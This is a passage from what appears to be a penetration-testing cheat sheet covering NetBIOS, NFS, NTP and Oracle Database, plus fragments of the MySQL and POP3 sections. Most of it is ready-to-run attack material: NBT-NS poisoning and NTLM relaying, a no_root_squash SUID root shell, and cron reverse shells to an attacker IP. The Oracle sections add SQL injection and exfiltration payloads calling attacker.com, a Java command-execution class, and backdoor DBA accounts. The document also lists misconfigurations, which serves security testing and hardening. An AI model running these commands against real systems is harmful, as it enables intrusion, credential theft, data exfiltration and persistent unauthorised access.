Common MySQL Commands

Command	Description	Usage
SHOW DATABASES;	Lists all databases	SHOW DATABASES;
USE	Switch to database	USE database_name;
SHOW TABLES;	Display all tables	SHOW TABLES;

Command	Description	Usage
SELECT	Retrieve data	SELECT * FROM table_name;
INSERT INTO	Insert record	INSERT INTO table (col1) VALUES (val1);
UPDATE	Update records	UPDATE table SET col1=val1 WHERE condition;
DELETE FROM	Delete records	DELETE FROM table WHERE condition;
CREATE USER	Create new user	CREATE USER 'user'@'host' IDENTIFIED BY 'pass';
GRANT	Grant privileges	GRANT ALL ON db.* TO 'user'@'host';
FLUSH PRIVILEGES;	Reload privileges	FLUSH PRIVILEGES;
LOAD_FILE()	Read file	SELECT LOAD_FILE('/etc/passwd');
INTO OUTFILE	Write to file	SELECT * INTO OUTFILE '/tmp/file.txt';

Useful Tools

Tool	Description	Primary Use Case
mysql	Official MySQL client	Direct database access
mysqldump	Database backup tool	Data extraction
Metasploit	Exploitation framework	Automated testing

Tool	Description	Primary Use Case
sqlmap	SQL injection tool	Automated exploitation
Hydra	Password cracker	Brute force attacks
John the Ripper	Password cracker	Hash cracking
hashcat	Password recovery	Advanced hash cracking

5.) NetBIOS

Default Ports: 137 (Name Service), 138 (Datagram), 139 (Session)

NetBIOS (Network Basic Input/Output System) is a network protocol that allows applications on different computers to communicate within a local area network (LAN). It provides services for name resolution, session management, and datagram distribution. NetBIOS is commonly used in Windows networks and often runs alongside SMB. While largely replaced by modern protocols, NetBIOS is still found in many Windows environments.

Connect

Using nbtscan

The nbtscan tool efficiently scans networks for NetBIOS name information on Windows hosts:

```
# Scan network for NetBIOS names
nbtscan 192.168.1.0/24

# Scan specific host
nbtscan target.com

# Verbose output
nbtscan -v target.com

# Output to file
nbtscan 192.168.1.0/24 > netbios_scan.txt
```

Using nmblookup

```
# Lookup NetBIOS name
nmblookup -A target.com

# Reverse lookup
nmblookup target

# Find master browser
nmblookup -M -- -

# Find workgroup
nmblookup -d 2 '*'
```

Recon

Service Detection with Nmap

Use Nmap to detect NetBIOS services and identify server capabilities.

nmap -p 137,138,139 target.com

NetBIOS Name Enumeration

NetBIOS names provide valuable information about computer names, workgroups, domains, and running services on Windows systems:

```
# Using nbtscan
nbtscan -r 192.168.1.0/24

# Using nmap
nmap -sU -p 137 --script nbstat target.com

# Using nmblookup
nmblookup -A 192.168.1.100

# Output interpretation:
# <00> = Workstation
# <03> = Messenger service
# <20> = Server service
# <1B> = Domain Master Browser
# <1D> = Master Browser
```

Enumeration

Null Session Enumeration

Null sessions exploit Windows' default behavior of allowing anonymous connections to enumerate sensitive information:

```
# Using enum4linux
enum4linux -a target.com

# Enumerate users
enum4linux -U target.com

# Enumerate shares
enum4linux -S target.com

# Get password policy
enum4linux -P target.com
```

```
# Using rpcclient
rpcclient -U "" target.com
# Hit enter for blank password
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> queryuser 500
```

Share Enumeration

NetBIOS can reveal shared folders and their permissions, often exposing sensitive data:

```
# List shares via NetBIOS
smbclient -L //target.com -N

# Using nmap
nmap -p 139,445 --script smb-enum-shares target.com

# Check share permissions
smbmap -H target.com
smbmap -H target.com -u guest
```

Attack Vectors

NetBIOS Name Spoofing

```
# Using Responder to capture hashes
sudo responder -I eth0 -wrf

# NBT-NS poisoning
# When victim searches for \\fileserver
# Responder responds with attacker IP
# Victim connects and sends credentials

# Captured NTLMv2 hash can be cracked
hashcat -m 5600 hash.txt rockyou.txt
```

NBT-NS Poisoning

```
# Using Metasploit
use auxiliary/spoof/nbns/nbns_response
set INTERFACE eth0
set SPOOFIP attacker-ip
run
```

 # Victims will connect to attacker's IP
 # Capture credentials or perform MITM

Post-Exploitation

Information Gathering

 # Get computer name, domain, users
enum4linux -a target.com > netbios_enum.txt

 # Parse interesting information
grep "Domain Name" netbios_enum.txt
grep "Domain SID" netbios_enum.txt
grep "Password Info" netbios_enum.txt

Credential Relay

 # Captured NetBIOS authentication can be relayed
 # Using ntlmrelayx

ntlmrelayx.py -t target.com -smb2support

 # Or relay to LDAP
ntlmrelayx.py -t ldap://dc.domain.com --escalate-user lowpriv_user

NetBIOS Name Suffixes

Suffix	Type	Description
<00>	U	Workstation/Redirector
<03>	U	Messenger Service
<06>	U	RAS Server Service
<1B>	U	Domain Master Browser
<1C>	G	Domain Controllers

Suffix	Type	Description
<1D>	U	Master Browser
<1E>	G	Browser Service Elections
<20>	U	File Server Service

Common Commands

Command	Description	Usage
nbtscan	NetBIOS scanner	nbtscan 192.168.1.0/24
nmblookup	NetBIOS lookup	nmblookup -A target.com
enum4linux	Enumeration tool	enum4linux -a target.com
rpcclient	RPC client	rpcclient -U "" target.com

Useful Tools

Tool	Description	Primary Use Case
nbtscan	NetBIOS scanner	Network enumeration
enum4linux	SMB/NetBIOS enum	Information gathering
Responder	LLMNR/NBT-NS poisoner	Credential capture
nmblookup	NetBIOS lookup	Name resolution
rpcclient	RPC interaction	Null session enum

Tool	Description	Primary Use Case
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ NetBIOS enabled on internet-facing hosts
- ❌ Null session allowed
- ❌ No SMB signing
- ❌ NBT-NS/LLMNR enabled
- ❌ Guest account enabled
- ❌ Weak share permissions
- ❌ No network segmentation
- ❌ Information leakage via NetBIOS

6.) NFS (Network File System)

Default Ports: 2049 (NFS), 111 (RPC)

Network File System (NFS) is a distributed file system protocol that allows users to access files over a network in a manner similar to how local storage is accessed. Developed by Sun Microsystems, NFS enables file sharing between Unix/Linux systems. Modern implementations (NFSv4) have improved security, but older versions and misconfigurations can lead to unauthorized access and data exposure.

Connect

Using mount

You can use the mount command to connect to NFS shares and access remote file systems as if they were local directories:

```
# List NFS shares
showmount -e target.com

# Mount NFS share
mkdir /mnt/nfs
mount -t nfs target.com:/share /mnt/nfs

# Mount with specific NFS version
mount -t nfs -o vers=3 target.com:/share /mnt/nfs
mount -t nfs -o vers=4 target.com:/share /mnt/nfs

# Mount without root squashing
mount -t nfs -o nolock target.com:/share /mnt/nfs

# Read-only mount
mount -t nfs -o ro target.com:/share /mnt/nfs

# Unmount
umount /mnt/nfs
```

Recon

Service Detection with Nmap

Use Nmap to detect NFS services and identify server capabilities.

```
nmap -p 2049,111 target.com
```

Share Enumeration

Discover which directories are being shared via NFS and what access permissions they have.

Using showmount

```
# List exported shares
showmount -e target.com

# List directories
showmount -d target.com

# List clients
showmount -a target.com
```

Using rpcinfo

```
# Using rpcinfo
rpcinfo -p target.com

# Manual RPC query
rpcinfo target.com | grep nfs
```

Enumeration

Mount and Explore

After mounting an NFS share, you can explore its contents and search for sensitive files or configuration data.

```
# Mount share
mount -t nfs target.com:/share /mnt/nfs

# List contents
ls -la /mnt/nfs

# Find interesting files
find /mnt/nfs -type f -name "*.conf"
find /mnt/nfs -type f -name "*.key"
find /mnt/nfs -type f -name "*.pem"
find /mnt/nfs -type f -name "*password*"
find /mnt/nfs -type f -name "*.env"

# Search for credentials
grep -r "password\|secret\|key" /mnt/nfs

# Check permissions
```

ls -la /mnt/nfs

UID/GID Enumeration

Understanding file ownership through numeric UIDs helps in planning privilege escalation attacks.

```
# Check file ownership
ls -lan /mnt/nfs

# Files often show numeric UIDs
# Common UIDs:
# 0 = root
# 1000 = first user
# 33 = www-data (Apache)
# 1001, 1002, etc = other users
```

Attack Vectors

No Root Squashing

When root squashing is disabled (no_root_squash), the root user on the client maintains root privileges on the NFS share, allowing privilege escalation.

```
# Check if no_root_squash is set
showmount -e target.com
# Look for (no_root_squash) in output

# Mount share
mount -t nfs target.com:/share /mnt/nfs

# Create file as root (if no_root_squash)
echo "test" > /mnt/nfs/root_file.txt
ls -la /mnt/nfs/root_file.txt
# Shows: -rw-r--r-- 1 root root

# Exploit: Create SUID shell
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash

# On target system, execute
./rootbash -p
# You get root shell
```

UID Manipulation

You can create a local user with the same UID as files on the NFS share to gain unauthorized access.

```
# Check file ownership on share
ls -lan /mnt/nfs
# e.g., file owned by UID 1000

# Create user with same UID
useradd -u 1000 fakeuser

# Switch to that user
su fakeuser

# Mount share
mount -t nfs target.com:/share /mnt/nfs

# Now you can read/write files owned by UID 1000
cat /mnt/nfs/sensitive_file.txt
```

Writable Share Exploitation

Writable NFS shares allow you to upload backdoors, modify system files, or inject malicious code.

```
# If share is writable, upload malicious files

# Upload PHP webshell (if web accessible)
cp shell.php /mnt/nfs/var/www/html/shell.php

# Upload SSH key
mkdir -p /mnt/nfs/root/.ssh
cp id_rsa.pub /mnt/nfs/root/.ssh/authorized_keys
chmod 600 /mnt/nfs/root/.ssh/authorized_keys

# Upload cron job
echo "* * * * * root bash -i >& /dev/tcp/attacker-ip/4444 0>&1" >
/mnt/nfs/etc/cron.d/backdoor

# Upload /etc/passwd backdoor
echo "backdoor::0:0:root:/root:/bin/bash" >> /mnt/nfs/etc/passwd
```

Post-Exploitation

Data Exfiltration

Once you have access to an NFS share, you can copy all files for offline analysis and searching for sensitive information.

```
# Copy entire share
rsync -av /mnt/nfs/ /tmp/exfiltrated_data/

# Compress and download
tar czf nfs_data.tar.gz /mnt/nfs
# Transfer to attacker machine

# Find sensitive files
find /mnt/nfs -name "*.key" -o -name "*.pem" -o -name "*password*"
```

Persistence

You can establish persistent access by modifying system files on the NFS share.

```
# Add SSH key (if /root/.ssh is writable)
echo "ssh-rsa AAAA..." >> /mnt/nfs/root/.ssh/authorized_keys

# Add cron job
echo "*/5 * * * * root bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'" >
/mnt/nfs/etc/cron.d/persistent

# Add user to /etc/passwd
echo "hacker:x:0:0::/root:/bin/bash" >> /mnt/nfs/etc/passwd
echo "hacker:\$6\$salt\$hash" >> /mnt/nfs/etc/shadow
```

NFS Versions

Version	Features	Security
NFSv2	Basic functionality	Weak security
NFSv3	Better performance	AUTH_SYS only
NFSv4	ACLs, better security	Kerberos support

Useful Tools

Tool	Description	Primary Use Case
showmount	NFS share lister	Enumeration
mount	Mount utility	Access shares
nfsshell	NFS client	File operations
Nmap	Network scanner	Service detection
rpcinfo	RPC enumeration	Service discovery

Security Misconfigurations

- ❌ no_root_squash enabled
- ❌ Shares exported to * (everyone)
- ❌ Writable shares
- ❌ No authentication (NFSv3)
- ❌ Sensitive directories exported
- ❌ No access restrictions by IP
- ❌ NFSv2/v3 in use (use NFSv4)
- ❌ No Kerberos authentication
- ❌ Excessive permissions on files

7.) NTP (Network Time Protocol)

Default Port: 123 (UDP)

Network Time Protocol (NTP) is a networking protocol for clock synchronization between computer systems over packet-switched, variable-latency data networks. NTP is one of the oldest internet protocols still in use and is critical for maintaining accurate time across networks. Precise time synchronization is essential for security protocols like Kerberos, logging systems, and distributed applications. NTP servers can leak system information and, in some cases, be exploited for amplification attacks.

Connect

Using ntpq

```
# Query NTP server
ntpq -c readvar target.com

# Get peer information
ntpq -p target.com

# Interactive mode
ntpq target.com

# Show system variables
ntpq -c sysinfo target.com
```

Using ntpdate

```
# Check time from NTP server
ntpdate -q target.com

# Synchronize time (requires root)
ntpdate target.com

# Debug mode
ntpdate -d target.com
```

Using ntpdc

```
# Connect to NTP server
ntpdc -c sysinfo target.com

# Get peer stats
ntpdc -c peers target.com
```

```
# Monitor queries
ntpdc -c monlist target.com
```

Recon

Service Detection with Nmap

Use Nmap to detect NTP services and identify server capabilities.

```
nmap -sU -p 123 target.com
```

Banner Grabbing

Query NTP servers to gather version and configuration information.

Using ntpq

```
# Using ntpq
ntpq -c version target.com
ntpq -c readvar target.com
```

Using ntpdc

```
# Using ntpdc
ntpdc -c sysinfo target.com
```

Using nmap

```
# Using nmap
nmap -sU -p 123 --script ntp-info target.com
```

Enumeration

System Information

NTP servers expose system details including processor type, operating system, and software versions through query responses.

```
# Get system information
ntpq -c sysinfo target.com

# Read variables
ntpq -c readvar target.com

# Output includes:
```

```
# - System time
# - Processor type
# - System name
# - NTP version
# - Stratum (distance from reference clock)

# Get peer information
ntpq -c peers target.com
ntpq -c associations target.com
```

Monlist Command (CVE-2013-5211)

The monlist command can expose up to 600 recent NTP client IP addresses and is also a major DDoS amplification vector.

Using ntpdc

```
# Get monitoring list
ntpdc -c monlist target.com

# Can reveal:
# - Internal IP addresses
# - Network topology
# - Connected clients
# - Traffic patterns
```

Using nmap

```
# Using Nmap
nmap -sU -p 123 --script ntp-monlist target.com
```

Attack Vectors

NTP Amplification (DDoS)

NTP can be abused for reflection/amplification attacks.

```
# Check if monlist is enabled (amplification factor: 556x)
nmap -sU -p 123 --script ntp-monlist target.com

# If monlist responds, server can be abused
# Small request -> Large response
# (Don't perform without authorization)
```

Mode 6/7 Query Exploitation

Mode 6 and 7 queries can reveal sensitive information.

```
# Mode 6 query (control messages)
# Can execute certain commands on vulnerable servers

# Mode 7 query (private/restricted)
# May reveal additional information

# Using ntpq with mode 6
ntpq -c "rv 0 processor,system,leap" target.com
```

Time Manipulation

Manipulating NTP can affect time-sensitive protocols.

```
# If you control an NTP server that target uses
# You can manipulate time

# Affects:
# - Kerberos tickets (time-based)
# - SSL/TLS certificates (expiry)
# - Log timestamps (forensics)
# - Scheduled tasks (cron)
# - Session timeouts

# Using ntpd config (if you compromise NTP server)
# Edit /etc/ntp.conf
# Add malicious time source
```

Post-Exploitation

Information Gathering

Extract comprehensive information from NTP servers for analysis.

```
# Extract all available information
ntpq -c readvar target.com > ntp_info.txt
ntpq -c sysinfo target.com >> ntp_info.txt
ntpq -c peers target.com >> ntp_info.txt

# Analyze for:
# - OS version hints
# - Internal IP addresses
# - Network architecture
```

 # - Connected systems

Network Mapping

Use NTP information to map network topology and discover additional targets.

```
# Monlist reveals client IPs
ntpdc -c monlist target.com | awk '{print $1}' | sort -u > client_ips.txt

# Scan discovered IPs
nmap -sn -iL client_ips.txt

# Build network map from NTP associations
```

NTP Packet Structure

```
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LI | VN  |Mode |    Stratum    |     Poll      |   Precision   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

LI   : Leap Indicator
VN   : Version Number
Mode : Association Mode (0-7)

Common NTP Commands

Command	Description	Usage
ntpq	NTP query	ntpq -p target.com
ntpdate	Set/query time	ntpdate -q target.com
ntpdc	NTP control	ntpdc -c monlist target.com
sntp	Simple NTP	sntp target.com

Useful Tools

Tool	Description	Primary Use Case
ntpq	NTP query tool	Server querying
ntpdc	NTP control	Administration
ntpdate	Time sync	Time querying
Nmap	Network scanner	Service detection
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ Monlist command enabled (amplification)
- ❌ Mode 6/7 queries allowed
- ❌ No access restrictions
- ❌ Exposed to internet
- ❌ Outdated NTP version
- ❌ No rate limiting
- ❌ Default configuration
- ❌ No authentication
- ❌ Verbose responses
- ❌ No monitoring

8.) Oracle Database

Default Ports: 1521 (Listener), 1630 (iSQL*Net)

Oracle Database is a multi-model database management system produced and marketed by Oracle Corporation. It's one of the most widely used enterprise relational database management systems, particularly in large corporations and government organizations. Oracle Database offers advanced features including stored procedures, triggers, and the ability to execute Java code within the database. Due to its complexity and enterprise deployment, Oracle databases often contain highly sensitive data and can be challenging to secure properly.

Connect

Using sqlplus (Official Client)

sqlplus is Oracle's traditional command-line interface for database interaction:

```
# Local connection
sqlplus username/password

# Remote connection
sqlplus username/password@target.com:1521/ORCL

# As SYSDBA (administrative connection)
sqlplus username/password@target.com:1521/ORCL as sysdba

# Connection string format
sqlplus username/password@//target.com:1521/SERVICE_NAME

# Non-interactive mode
echo "SELECT version FROM v\$instance;" | sqlplus -S
username/password@target.com:1521/ORCL
```

Using sqldeveloper (GUI)

Connection Name: target_db
Username: system
Password: password
Hostname: target.com
Port: 1521
SID/Service: ORCL

Using tnslsnr (TNS Listener)

The TNS Listener is the gateway to Oracle databases and handles connection requests:

```
# Check listener status (if you have access)
lsnrctl status

# Get listener version
lsnrctl version

# Services registered with listener
lsnrctl services
```

Recon

Service Detection with Nmap

Use Nmap to detect Oracle Database services and identify server capabilities.

```
nmap -p 1521,1630 target.com
```

Banner Grabbing

Connect to the TNS Listener to gather version and service information.

Using netcat

```
# Using netcat
nc -vn target.com 1521

# Get TNS version
echo "(CONNECT_DATA=(COMMAND=version))" | nc target.com 1521
```

Using nmap

```
# Using nmap
nmap -p 1521 -sV target.com
```

Using tnslsnr

```
# TNS ping
tnslsnr target.com 1521
```

SID Enumeration

The SID (System Identifier) is required to connect to Oracle databases and can be brute-forced.

Common Default SIDs

 # Common default SIDs
ORCL, XE, XEXDB, PROD, DEV, TEST, DB11G, DB12C

Using sidguesser

 # Using sidguesser
./sidguesser.pl target.com

Using odat

 # Using odat
odat sidguesser -s target.com -p 1521

Using Metasploit

 # Using Metasploit
use auxiliary/scanner/oracle/sid_enum
set RHOSTS target.com
run

Using Nmap

 # Using Nmap
nmap -p 1521 --script oracle-sid-brute target.com

Enumeration

Version Detection

Once connected, you can gather detailed Oracle version information to identify vulnerabilities.

-- Oracle version
SELECT * *FROM* v$version;

-- Banner information
SELECT banner *FROM* v$version *WHERE* banner LIKE 'Oracle%';

-- Instance name and status
SELECT instance_name, *status*, version *FROM* v$instance;

-- Database name
SELECT name, created *FROM* v$*database*;

```
-- Platform information
SELECT platform_name FROM v$database;
```

User Enumeration

Understanding user accounts and their privileges is critical for privilege escalation.

```
-- List all users
SELECT username FROM dba_users;
SELECT username FROM all_users;

-- Current user
SELECT user FROM dual;
SELECT sys_context('USERENV', 'CURRENT_USER') FROM dual;

-- User privileges
SELECT * FROM user_sys_privs;
SELECT * FROM user_role_privs;

-- DBA users
SELECT username FROM dba_users WHERE username IN (SELECT grantee FROM
dba_role_privs WHERE granted_role='DBA');

-- Users with specific privileges
SELECT grantee FROM dba_sys_privs WHERE privilege='CREATE SESSION';
```

Table and Schema Enumeration

Discovering database structure helps locate sensitive data.

```
-- List all tables owned by current user
SELECT table_name FROM user_tables;

-- List all tables in database (requires privileges)
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM dba_tables;

-- Columns in specific table
SELECT column_name, data_type FROM all_tab_columns WHERE table_name='USERS';

-- Find sensitive columns
SELECT table_name, column_name FROM all_tab_columns
WHERE column_name LIKE '%PASSWORD%'
  OR column_name LIKE '%PASS%'
```

```
   OR column_name LIKE '%SECRET%'
   OR column_name LIKE '%TOKEN%';

-- Count rows in tables
SELECT table_name, num_rows FROM all_tables WHERE owner='SCHEMA_NAME';
```

Privilege Enumeration

Understanding available privileges reveals potential attack paths.

```
-- System privileges for current user
SELECT * FROM session_privs;

-- All system privileges
SELECT * FROM dba_sys_privs WHERE grantee='USERNAME';

-- Role privileges
SELECT * FROM dba_role_privs WHERE grantee='USERNAME';

-- Table privileges
SELECT * FROM dba_tab_privs WHERE grantee='USERNAME';

-- Check for DBA role
SELECT granted_role FROM user_role_privs WHERE granted_role='DBA';
```

Password Hash Extraction

Oracle password hashes can be extracted and cracked offline (requires DBA privileges).

```
-- Extract password hashes (Oracle 10g)
SELECT name, password FROM sys.user$;

-- Extract password hashes (Oracle 11g+)
SELECT name, spare4 FROM sys.user$;

-- Both versions
SELECT username, password, spare4 FROM dba_users;

-- Password versions
SELECT username, password_versions FROM dba_users;
```

Attack Vectors

Default Credentials

Oracle installations often retain default credentials for system accounts.

```
# Common default credentials
sys:change_on_install
system:manager
system:oracle
scott:tiger
dbsnmp:dbsnmp
sysman:sysman
admin:admin

# Try connection
sqlplus sys/change_on_install@target.com:1521/ORCL as sysdba
sqlplus system/manager@target.com:1521/ORCL
```

Brute Force Attack

If default credentials fail, you can attempt brute force attacks.

Using Hydra

```
# Using hydra
hydra -L users.txt -P passwords.txt target.com oracle-listener
```

Using odat

```
# Using odat
odat passwordguesser -s target.com -d ORCL -U users.txt -P passwords.txt
```

Using Metasploit

```
# Using Metasploit
use auxiliary/scanner/oracle/oracle_login
set RHOSTS target.com
set SID ORCL
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```

Using patator

```
# Using patator
patator oracle_login host=target.com sid=ORCL user=FILE0 password=FILE1 \
  0=users.txt 1=passwords.txt
```

TNS Poisoning

TNS (Transparent Network Substrate) can be exploited to intercept database connections.

```
# If you can modify tnsnames.ora or control DNS
# Redirect database connections to attacker's server

# Attacker sets up rogue Oracle listener
# Captures credentials when clients connect

# Using odat
odat tnspoison -s target.com --poison
```

SQL Injection in Oracle Context

Oracle has unique SQL injection techniques and syntax.

```
-- Error-based injection
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual))--

-- Union-based injection
' UNION SELECT NULL,banner,NULL FROM v$version--

-- Boolean-based blind
' AND (SELECT COUNT(*) FROM all_users WHERE username='SYS')=1--

-- Time-based blind
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',10)--

-- Out-of-band (DNS)
' || UTL_INADDR.GET_HOST_ADDRESS('attacker.com')||'
' || UTL_HTTP.REQUEST('http://attacker.com/'||user||'') ||'
```

Post-Exploitation

Command Execution via Java

Oracle can execute Java code within the database, providing powerful command execution capabilities:

Grant Java Permissions

```
BEGIN
DBMS_JAVA.grant_permission('SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>',
'execute');
DBMS_JAVA.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission',
```

```
'writeFileDescriptor', '');
DBMS_JAVA.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission',
'readFileDescriptor', '');
END;
/
```

Create Java Class

```
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Execute" AS
import java.io.*;
public class Execute {
  public static String run(String cmd) {
    try {
      StringBuffer output = new StringBuffer();
      Process p = Runtime.getRuntime().exec(cmd);
      BufferedReader reader = new BufferedReader(new
InputStreamReader(p.getInputStream()));
      String line;
      while ((line = reader.readLine())!= null) {
        output.append(line + "\n");
      }
      return output.toString();
    } catch (Exception e) {
      return e.toString();
    }
  }
}
/
```

Create PL/SQL Wrapper

```
CREATE OR REPLACE FUNCTION run_cmd(p_cmd IN VARCHAR2) RETURN
VARCHAR2
AS LANGUAGE JAVA NAME 'Execute.run(java.lang.String) return java.lang.String';
/
```

Execute Commands

```
SELECT run_cmd('whoami') FROM dual;
SELECT run_cmd('id') FROM dual;
```

File System Access

```
-- Read file using UTL_FILE
DECLARE
  f UTL_FILE.FILE_TYPE;
  s VARCHAR2(200);
BEGIN
  f := UTL_FILE.FOPEN('/etc', 'passwd', 'R');
  LOOP
    UTL_FILE.GET_LINE(f, s);
    DBMS_OUTPUT.PUT_LINE(s);
  END LOOP;
  EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.FCLOSE(f);
END;
/

-- Write file
DECLARE
  f UTL_FILE.FILE_TYPE;
BEGIN
  f := UTL_FILE.FOPEN('/tmp', 'backdoor.txt', 'W');
  UTL_FILE.PUT_LINE(f, 'malicious content');
  UTL_FILE.FCLOSE(f);
END;
/

-- Using external table
CREATE DIRECTORY temp_dir AS '/tmp';
CREATE TABLE shell_output (line VARCHAR2(1000))
ORGANIZATION EXTERNAL (
  TYPE ORACLE_LOADER
  DEFAULT DIRECTORY temp_dir
  ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE)
  LOCATION ('command_output.txt')
);
```

Network Operations

```
-- HTTP requests (SSRF)
SELECT UTL_HTTP.REQUEST('http://169.254.169.254/latest/meta-data/') FROM dual;

-- DNS lookup (data exfiltration)
SELECT UTL_INADDR.GET_HOST_ADDRESS('data.attacker.com') FROM dual;

-- TCP connections
```

```
SELECT UTL_TCP.OPEN_CONNECTION('attacker.com', 4444) FROM dual;

-- Port scanning
SELECT UTL_TCP.IS_AVAILABLE('192.168.1.100', 22) FROM dual;

-- SMTP (send email)
SELECT UTL_MAIL.SEND(
  sender => 'oracle@target.com',
  recipients => 'attacker@evil.com',
  subject => 'Exfiltrated Data',
  message => 'Sensitive information here'
) FROM dual;
```

Privilege Escalation

```
-- Check if user has DBA role
SELECT granted_role FROM user_role_privs WHERE granted_role='DBA';

-- Grant DBA to user (if you have privileges)
GRANT DBA TO username;

-- Create new DBA user
CREATE USER backdoor IDENTIFIED BY P@ssw0rd123!;
GRANT DBA TO backdoor;
GRANT CREATE SESSION TO backdoor;

-- Exploit password verification function
-- Some Oracle versions have exploitable password functions
```

Password Hash Cracking

```
# Extract hashes (from SQL query shown earlier)
sqlplus system/password@target.com:1521/ORCL <<EOF
SET PAGESIZE 0
SET FEEDBACK OFF
SELECT username||':'||password||':'||spare4 FROM dba_users;
EXIT
EOF > oracle_hashes.txt

# Crack Oracle 10g hashes (DES-based)
hashcat -m 3100 oracle_10g_hashes.txt rockyou.txt

# Crack Oracle 11g hashes (SHA-1 based)
```

```
hashcat -m 112 oracle_11g_hashes.txt rockyou.txt

# Crack Oracle 12c hashes (PBKDF2-SHA-512)
hashcat -m 12300 oracle_12c_hashes.txt rockyou.txt
```

Data Exfiltration

```
# Export entire schema
expdp username/password@target.com:1521/ORCL \
  schemas=SCHEMA_NAME \
  directory=DATA_PUMP_DIR \
  dumpfile=exfiltrated.dmp \
  logfile=export.log

# Export specific table
expdp username/password@target.com:1521/ORCL \
  tables=SCHEMA.SENSITIVE_TABLE \
  directory=DATA_PUMP_DIR \
  dumpfile=table_dump.dmp

# SQL-based export
sqlplus username/password@target.com:1521/ORCL <<EOF
SET PAGESIZE 0
SET FEEDBACK OFF
SET HEADING OFF
SPOOL /tmp/users.txt
SELECT username||':'||password_hash FROM users;
SPOOL OFF
EXIT
EOF
```

Persistence

```
-- Create backdoor user with DBA privileges
CREATE USER sysmonitor IDENTIFIED BY "ComplexP@ss123!";
GRANT DBA TO sysmonitor;
GRANT CREATE SESSION TO sysmonitor;
GRANT UNLIMITED TABLESPACE TO sysmonitor;

-- Create backdoor stored procedure
CREATE OR REPLACE PROCEDURE backdoor_exec(cmd IN VARCHAR2) AS
  output VARCHAR2(4000);
BEGIN
```

```
  -- Execute command via Java
  SELECT run_cmd(cmd) INTO output FROM dual;
  DBMS_OUTPUT.PUT_LINE(output);
END;
/

-- Create trigger for persistence
CREATE OR REPLACE TRIGGER backdoor_trigger
AFTER LOGON ON DATABASE
BEGIN
  -- Log connections or execute code
  INSERT INTO audit_log VALUES (USER, SYSDATE);
END;
/
```

Oracle PL/SQL Procedures

Procedure	Description	Security Impact
DBMS_JAVA	Java execution	Command execution
UTL_FILE	File operations	Read/write files
UTL_HTTP	HTTP requests	SSRF attacks
UTL_TCP	TCP connections	Port scanning
UTL_SMTP	Send email	Data exfiltration
UTL_INADDR	DNS resolution	Network recon
DBMS_SCHEDULER	Job scheduling	Persistence
DBMS_XMLGEN	XML generation	Information disclosure

Common Oracle System Tables

View	Description	Requires Privileges
v$version	Version info	No
v$instance	Instance details	No
dba_users	All database users	DBA
dba_tables	All tables	DBA
dba_sys_privs	System privileges	DBA
dba_role_privs	Role privileges	DBA
all_users	Accessible users	No
user_tables	User's tables	No
sys.user$	User credentials	DBA

Useful Tools

Tool	Description	Primary Use Case
sqlplus	Oracle CLI	Direct database access
SQL Developer	GUI client	Database management
odat	Oracle exploitation	Automated testing
OWASP	Oracle assessment	Security scanning

Tool	Description	Primary Use Case
Metasploit	Exploitation framework	Automated exploitation
oscanner	Oracle scanner	Vulnerability discovery
tnscmd	TNS enumeration	Listener interaction

Security Misconfigurations

- ❌ Default credentials (sys:change_on_install, system:manager)
- ❌ Weak passwords on system accounts
- ❌ TNS Listener without password
- ❌ Excessive privileges granted to PUBLIC
- ❌ Java permissions too permissive
- ❌ UTL_* packages accessible to non-DBA users
- ❌ No encryption (using port 1521 without SSL)
- ❌ Outdated Oracle version with known CVEs
- ❌ Listener exposed to internet
- ❌ Default SID names (ORCL, XE)
- ❌ Audit logging disabled
- ❌ OS authentication enabled without proper security

9.) POP3 (Post Office Protocol)

Default Ports: 110 (POP3), 995 (POP3S)

Post Office Protocol version 3 (POP3) is an email protocol used to retrieve emails from a remote server to a local client. Unlike IMAP, POP3 typically downloads emails to the client and deletes them from the server (though this can be configured). POP3 is simpler than IMAP but less feature-rich, primarily designed for offline email access.

Connect

Using Telnet

```
# Connect to POP3 server
telnet target.com 110

# Basic POP3 conversation
USER username
PASS password
LIST
RETR 1
QUIT
```

Using openssl (POP3S)

```
# Connect with SSL
openssl s_client -connect target.com:995 -crlf -quiet

# POP3 commands
USER username
PASS password
LIST
QUIT
```

Using curl

```
# List emails
curl -u username:password pop3://target.com/

# Read specific email
curl -u username:password pop3://target.com/1

# POP3S
curl -u username:password pop3s://target.com/ --insecure
```

Recon

Service Detection with Nmap

Use Nmap to detect POP3 mail servers and identify server capabilities.

nmap -p 110,995 target.com

Banner Grabbing

Connect to POP3 servers to gather version and service information.

Using netcat

```
# Using netcat
nc target.com 110
```

Using telnet

```
# Using telnet
telnet target.com 110
```

Using nmap

```
# Using nmap
nmap -p 110 -sV target.com
```

Enumeration

Capability Enumeration

POP3 servers advertise their supported features and extensions through the CAPA command.

```
# Get server capabilities
telnet target.com 110
CAPA

# Response shows:
# +OK Capability list follows
# USER
# PIPELINING
# TOP
# UIDL
# STLS
# .
```

Mailbox Enumeration

Explore mailbox contents and message information.

```
# After login
USER username
PASS password

# List messages
LIST

# Message count and size
STAT

# Get message UIDs
UIDL
```

Attack Vectors

Brute Force

Brute forcing POP3 credentials can reveal weak email account passwords.

Using Hydra

```
# POP3 (plaintext)
hydra -l user@target.com -P passwords.txt pop3://target.com

# POP3S (SSL/TLS)
